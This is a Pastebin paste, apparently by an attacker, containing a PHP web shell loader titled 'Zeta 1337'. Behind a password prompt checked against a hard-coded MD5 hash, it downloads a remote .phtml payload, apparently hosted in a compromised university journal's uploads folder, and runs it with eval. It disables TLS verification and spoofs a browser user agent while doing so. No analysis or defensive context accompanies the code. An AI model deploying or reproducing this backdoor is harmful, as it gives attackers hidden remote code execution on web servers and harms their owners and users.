Advertisement
blackhat1337

Untitled

Feb 22nd, 2024
73
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.78 KB | None | 0 0
  1. <?php
  2. session_start();
  3.  
  4. /**
  5. * Disable error reporting
  6. *
  7. * Set this to error_reporting( -1 ) for debugging.
  8. */
  9. function geturlsinfo($url) {
  10. if (function_exists('curl_exec')) {
  11. $conn = curl_init($url);
  12. curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1);
  13. curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1);
  14. curl_setopt($conn, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  15. curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, 0);
  16. curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0);
  17.  
  18. // Set cookies using session if available
  19. if (isset($_SESSION['SAP'])) {
  20. curl_setopt($conn, CURLOPT_COOKIE, $_SESSION['SAP']);
  21. }
  22.  
  23. $url_get_contents_data = curl_exec($conn);
  24. curl_close($conn);
  25. } elseif (function_exists('file_get_contents')) {
  26. $url_get_contents_data = file_get_contents($url);
  27. } elseif (function_exists('fopen') && function_exists('stream_get_contents')) {
  28. $handle = fopen($url, "r");
  29. $url_get_contents_data = stream_get_contents($handle);
  30. fclose($handle);
  31. } else {
  32. $url_get_contents_data = false;
  33. }
  34. return $url_get_contents_data;
  35. }
  36.  
  37. // Function to check if the user is logged in
  38. function is_logged_in()
  39. {
  40. return isset($_SESSION['logged_in']) && $_SESSION['logged_in'] === true;
  41. }
  42. // Check if the password is submitted and correct
  43. if (isset($_POST['password'])) {
  44. $entered_password = $_POST['password'];
  45. $hashed_password = 'e1ebd2f46660b5eaf715cf30e0cedcf7'; // Replace this with your MD5 hashed password
  46. if (md5($entered_password) === $hashed_password) {
  47. // Password is correct, store it in session
  48. $_SESSION['logged_in'] = true;
  49. $_SESSION['SAP'] = 'janco'; // Replace this with your cookie data
  50. } else {
  51. // Password is incorrect
  52. echo "Incorrect password. Please try again.";
  53. }
  54. }
  55.  
  56. // Check if the user is logged in before executing the content
  57. if (is_logged_in()) {
  58. $a = geturlsinfo('https://journal.swu.ac.id/files/journals/1/articles/229/submission/229-1-417-1-2-20240216.phtml');
  59. eval('?>' . $a);
  60. } else {
  61. // Display login form if not logged in
  62. ?>
  63. <!DOCTYPE html>
  64. <html>
  65. <head>
  66. <title>Zeta 1337</title>
  67. </head>
  68. <body bgcolor="gray">
  69. <center>
  70. <img src="https://static.miraheze.org/hololivewiki/4/4e/Vestia_Zeta_-_Portrait_01.png" />
  71. <body style="background-color:gray;">
  72. <form method="POST" action="">
  73. <label for="password">Password:</label>
  74. <input type="password" id="password" name="password">
  75. <input type="submit" value="Login!">
  76. </form>
  77. </center>
  78. </body>
  79. </html>
  80. <?php
  81. }
  82. ?>
  83.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement